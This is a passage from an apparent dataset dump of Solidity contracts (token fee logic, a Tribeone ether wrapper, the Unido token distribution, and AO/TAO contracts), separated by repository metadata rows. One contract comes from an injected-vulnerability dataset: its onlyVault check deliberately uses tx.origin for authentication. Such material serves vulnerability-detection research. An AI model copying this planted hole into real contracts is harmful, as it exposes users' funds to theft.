(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 287,377 | 12,215 |
1e06f7648ef1442ef3ed650ab75aeaf13714a35559afa7b69e32ee08cbf5339d
| 18,202 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/9a/9AeAa0Ff143939776a319b83Ea6dEEfa899A08De_NativeEtherWrapper.sol
| 3,603 | 15,632 |
pragma solidity ^0.5.16;
// https://docs.tribeone.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.tribeone.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getTribe(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
interface IWETH {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from,
address to,
uint value) external returns (bool);
// WETH-specific functions.
function deposit() external payable;
function withdraw(uint amount) external;
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Deposit(address indexed to, uint amount);
event Withdrawal(address indexed to, uint amount);
}
// https://docs.tribeone.io/contracts/source/interfaces/ietherwrapper
contract IEtherWrapper {
function mint(uint amount) external;
function burn(uint amount) external;
function distributeFees() external;
function capacity() external view returns (uint);
function getReserves() external view returns (uint);
function totalIssuedTribes() external view returns (uint);
function calculateMintFee(uint amount) public view returns (uint);
function calculateBurnFee(uint amount) public view returns (uint);
function maxETH() public view returns (uint256);
function mintFeeRate() public view returns (uint256);
function burnFeeRate() public view returns (uint256);
function weth() public view returns (IWETH);
}
// https://docs.tribeone.io/contracts/source/interfaces/itribe
interface ITribe {
// Views
function currencyKey() external view returns (bytes32);
function transferableTribes(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(address from,
address to,
uint value) external returns (bool);
// Restricted: used internally to Tribeone
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.tribeone.io/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from,
address to,
uint value) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// https://docs.tribeone.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function allNetworksDebtInfo()
external
view
returns (uint256 debt,
uint256 sharesSupply,
bool isStale);
function anyTribeOrHAKARateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableTribeCount() external view returns (uint);
function availableTribes(uint index) external view returns (ITribe);
function canBurnTribes(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableTribes(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableTribes(address issuer)
external
view
returns (uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt);
function tribes(bytes32 currencyKey) external view returns (ITribe);
function getTribes(bytes32[] calldata currencyKeys) external view returns (ITribe[] memory);
function tribesByAddress(address tribeAddress) external view returns (bytes32);
function totalIssuedTribes(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableTribeoneAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
function liquidationAmounts(address account, bool isSelfLiquidation)
external
view
returns (uint totalRedeemed,
uint debtToRemove,
uint escrowToLiquidate,
uint initialDebtBalance);
// Restricted: used internally to Tribeone
function addTribes(ITribe[] calldata tribesToAdd) external;
function issueTribes(address from, uint amount) external;
function issueTribesOnBehalf(address issueFor,
address from,
uint amount) external;
function issueMaxTribes(address from) external;
function issueMaxTribesOnBehalf(address issueFor, address from) external;
function burnTribes(address from, uint amount) external;
function burnTribesOnBehalf(address burnForAddress,
address from,
uint amount) external;
function burnTribesToTarget(address from) external;
function burnTribesToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(address deprecatedTribeProxy,
address account,
uint balance) external;
function setCurrentPeriodId(uint128 periodId) external;
function liquidateAccount(address account, bool isSelfLiquidation)
external
returns (uint totalRedeemed,
uint debtRemoved,
uint escrowToLiquidate);
function issueTribesWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function burnTribesWithoutDebt(bytes32 currencyKey,
address to,
uint amount) external returns (bool rateInvalid);
function modifyDebtSharesForMigration(address account, uint amount) external;
}
// Inheritance
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getTribe(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.tribes(key));
}
event AddressImported(bytes32 name, address destination);
}
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
event CacheUpdated(bytes32 name, address destination);
}
// @unsupported: ovm
// Inheritance
// Internal references
// https://docs.tribeone.io/contracts/source/contracts/nativeetherwrapper
contract NativeEtherWrapper is Owned, MixinResolver {
bytes32 private constant CONTRACT_ETHER_WRAPPER = "EtherWrapper";
bytes32 private constant CONTRACT_TRIBEONEHETH = "TribehETH";
constructor(address _owner, address _resolver) public Owned(_owner) MixinResolver(_resolver) {}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
bytes32[] memory addresses = new bytes32[](2);
addresses[0] = CONTRACT_ETHER_WRAPPER;
addresses[1] = CONTRACT_TRIBEONEHETH;
return addresses;
}
function etherWrapper() internal view returns (IEtherWrapper) {
return IEtherWrapper(requireAndGetAddress(CONTRACT_ETHER_WRAPPER));
}
function weth() internal view returns (IWETH) {
return etherWrapper().weth();
}
function tribehETH() internal view returns (IERC20) {
return IERC20(requireAndGetAddress(CONTRACT_TRIBEONEHETH));
}
function mint() public payable {
uint amount = msg.value;
require(amount > 0, "msg.value must be greater than 0");
// Convert sent ETH into WETH.
weth().deposit.value(amount)();
// Approve for the EtherWrapper.
weth().approve(address(etherWrapper()), amount);
// Now call mint.
etherWrapper().mint(amount);
// Transfer the hETH to msg.sender.
tribehETH().transfer(msg.sender, tribehETH().balanceOf(address(this)));
emit Minted(msg.sender, amount);
}
function burn(uint amount) public {
require(amount > 0, "amount must be greater than 0");
IWETH weth = weth();
// Transfer hETH from the msg.sender.
tribehETH().transferFrom(msg.sender, address(this), amount);
// Approve for the EtherWrapper.
tribehETH().approve(address(etherWrapper()), amount);
// Now call burn.
etherWrapper().burn(amount);
// Convert WETH to ETH and send to msg.sender.
weth.withdraw(weth.balanceOf(address(this)));
// solhint-disable avoid-low-level-calls
msg.sender.call.value(address(this).balance)("");
emit Burned(msg.sender, amount);
}
function() external payable {
// Allow the WETH contract to send us ETH during
// our call to WETH.deposit. The gas stipend it gives
// is 2300 gas, so it's not possible to do much else here.
}
// While these events are replicated in the core EtherWrapper,
// it is useful to see the usage of the NativeEtherWrapper contract.
event Minted(address indexed account, uint amount);
event Burned(address indexed account, uint amount);
}
| 60,165 | 12,216 |
14140980d64190614c449a513919644b0bef74e2ebe406e2ef9c3ab856f87475
| 13,610 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/7696_10213_0xea3983fc6d0fbbc41fb6f6091f68f3e08894dc06.sol
| 3,110 | 11,403 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
contract Ownable {
address public owner;
address private _nextOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, 'Only the owner of the contract can do that');
_;
}
function transferOwnership(address nextOwner) public onlyOwner {
_nextOwner = nextOwner;
}
function takeOwnership() public {
require(msg.sender == _nextOwner, 'Must be given ownership to do that');
emit OwnershipTransferred(owner, _nextOwner);
owner = _nextOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b != 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract UnidoDistribution is Ownable {
using SafeMath for uint256;
// 0 - SEED
// 1 - PRIVATE
// 2 - TEAM
// 3 - ADVISOR
// 4 - ECOSYSTEM
// 5 - LIQUIDITY
// 6 - RESERVE
enum POOL{SEED, PRIVATE, TEAM, ADVISOR, ECOSYSTEM, LIQUIDITY, RESERVE}
mapping (POOL => uint) public pools;
uint256 public totalSupply;
string public constant name = "Unido";
uint256 public constant decimals = 18;
string public constant symbol = "UDO";
address[] public participants;
bool private isActive;
uint256 private scanLength = 150;
uint256 private continuePoint;
uint256[] private deletions;
mapping (address => uint256) private balances;
mapping (address => mapping(address => uint256)) private allowances;
mapping (address => uint256) public lockoutPeriods;
mapping (address => uint256) public lockoutBalances;
mapping (address => uint256) public lockoutReleaseRates;
event Active(bool isActive);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
event Burn(address indexed tokenOwner, uint tokens);
constructor () {
pools[POOL.SEED] = 15000000 * 10**decimals;
pools[POOL.PRIVATE] = 16000000 * 10**decimals;
pools[POOL.TEAM] = 18400000 * 10**decimals;
pools[POOL.ADVISOR] = 10350000 * 10**decimals;
pools[POOL.ECOSYSTEM] = 14375000 * 10**decimals;
pools[POOL.LIQUIDITY] = 8625000 * 10**decimals;
pools[POOL.RESERVE] = 32250000 * 10**decimals;
totalSupply = pools[POOL.SEED] + pools[POOL.PRIVATE] + pools[POOL.TEAM] + pools[POOL.ADVISOR] + pools[POOL.ECOSYSTEM] + pools[POOL.LIQUIDITY] + pools[POOL.RESERVE];
// Give POLS private sale directly
uint pols = 2000000 * 10**decimals;
pools[POOL.PRIVATE] = pools[POOL.PRIVATE].sub(pols);
balances[address(0xeFF02cB28A05EebF76cB6aF993984731df8479b1)] = pols;
// Give LIQUIDITY pool their half directly
uint liquid = pools[POOL.LIQUIDITY].div(2);
pools[POOL.LIQUIDITY] = pools[POOL.LIQUIDITY].sub(liquid);
balances[address(0xd6221a4f8880e9Aa355079F039a6012555556974)] = liquid;
}
function _isTradeable() internal view returns (bool) {
return isActive;
}
function isTradeable() public view returns (bool) {
return _isTradeable();
}
function setTradeable() external onlyOwner {
require (!isActive, "Can only set tradeable when its not already tradeable");
isActive = true;
Active(true);
}
function setScanLength(uint256 len) external onlyOwner {
require (len > 20, "Values 20 or less are impractical");
require (len <= 200, "Values greater than 200 may cause the updateRelease function to fail");
scanLength = len;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint) {
return allowances[tokenOwner][spender];
}
function spendable(address tokenOwner) public view returns (uint) {
return balances[tokenOwner].sub(lockoutBalances[tokenOwner]);
}
function transfer(address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not tradeable yet");
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must transfer non-zero amount");
require (to != address(0), "Cannot send to the 0 address");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function approve(address spender, uint tokens) public returns (bool) {
_approve(msg.sender, spender, tokens);
return true;
}
function _approve(address owner, address spender, uint tokens) internal {
require (owner != address(0), "Cannot approve from the 0 address");
require (spender != address(0), "Cannot approve the 0 address");
allowances[owner][spender] = tokens;
Approval(owner, spender, tokens);
}
function burn(uint tokens) public {
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must burn non-zero amount");
balances[msg.sender] = balances[msg.sender].sub(tokens);
totalSupply = totalSupply.sub(tokens);
Burn(msg.sender, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not trading yet");
require (balances[from].sub(lockoutBalances[from]) >= tokens, "Must have enough spendable tokens");
require (allowances[from][msg.sender] >= tokens, "Must be approved to spend that much");
require (tokens > 0, "Must transfer non-zero amount");
require (from != address(0), "Cannot send from the 0 address");
require (to != address(0), "Cannot send to the 0 address");
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(tokens);
Transfer(from, to, tokens);
return true;
}
function addParticipants(POOL pool, address[] calldata _participants, uint256[] calldata _stakes) external onlyOwner {
require (pool >= POOL.SEED && pool <= POOL.RESERVE, "Must select a valid pool");
require (_participants.length == _stakes.length, "Must have equal array sizes");
uint lockoutPeriod;
uint lockoutReleaseRate;
if (pool == POOL.SEED) {
lockoutPeriod = 1;
lockoutReleaseRate = 5;
} else if (pool == POOL.PRIVATE) {
lockoutReleaseRate = 4;
} else if (pool == POOL.TEAM) {
lockoutPeriod = 12;
lockoutReleaseRate = 12;
} else if (pool == POOL.ADVISOR) {
lockoutPeriod = 6;
lockoutReleaseRate = 6;
} else if (pool == POOL.ECOSYSTEM) {
lockoutPeriod = 3;
lockoutReleaseRate = 9;
} else if (pool == POOL.LIQUIDITY) {
lockoutReleaseRate = 1;
lockoutPeriod = 1;
} else if (pool == POOL.RESERVE) {
lockoutReleaseRate = 18;
}
uint256 sum;
uint256 len = _participants.length;
for (uint256 i = 0; i < len; i++) {
address p = _participants[i];
require(lockoutBalances[p] == 0, "Participants can't be involved in multiple lock ups simultaneously");
participants.push(p);
lockoutBalances[p] = _stakes[i];
balances[p] = balances[p].add(_stakes[i]);
lockoutPeriods[p] = lockoutPeriod;
lockoutReleaseRates[p] = lockoutReleaseRate;
sum = sum.add(_stakes[i]);
}
require(sum <= pools[pool], "Insufficient amount left in pool for this");
pools[pool] = pools[pool].sub(sum);
}
function finalizeParticipants(POOL pool) external onlyOwner {
uint leftover = pools[pool];
pools[pool] = 0;
totalSupply = totalSupply.sub(leftover);
}
function updateRelease() external onlyOwner returns (bool) {
uint scan = scanLength;
uint len = participants.length;
uint continueAddScan = continuePoint.add(scan);
for (uint i = continuePoint; i < len && i < continueAddScan; i++) {
address p = participants[i];
if (lockoutPeriods[p] > 0) {
lockoutPeriods[p]--;
} else if (lockoutReleaseRates[p] > 0) {
uint rate = lockoutReleaseRates[p];
uint release;
if (rate == 18) {
// First release of reserve is 12.5%
release = lockoutBalances[p].div(8);
} else {
release = lockoutBalances[p].div(lockoutReleaseRates[p]);
}
lockoutBalances[p] = lockoutBalances[p].sub(release);
lockoutReleaseRates[p]--;
} else {
deletions.push(i);
}
}
continuePoint = continuePoint.add(scan);
if (continuePoint >= len) {
continuePoint = 0;
while (deletions.length > 0) {
uint index = deletions[deletions.length-1];
deletions.pop();
participants[index] = participants[participants.length - 1];
participants.pop();
}
return false;
}
return true;
}
}
| 232,254 | 12,217 |
7584ce6fba7d959dd84d51764bb44600fa87777344b767900338f8d04cc6328d
| 30,262 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/txOriginForAuthentication/0xb1b8ea7d3f55436c3cd5afcd89e56cce85a0b8b3_txOriginForAuthentication.sol
| 5,277 | 17,382 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (tx.origin == vaultAddress); //inject USING TX ORIGIN FOR AUTHENTICATION
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
((isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)));
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
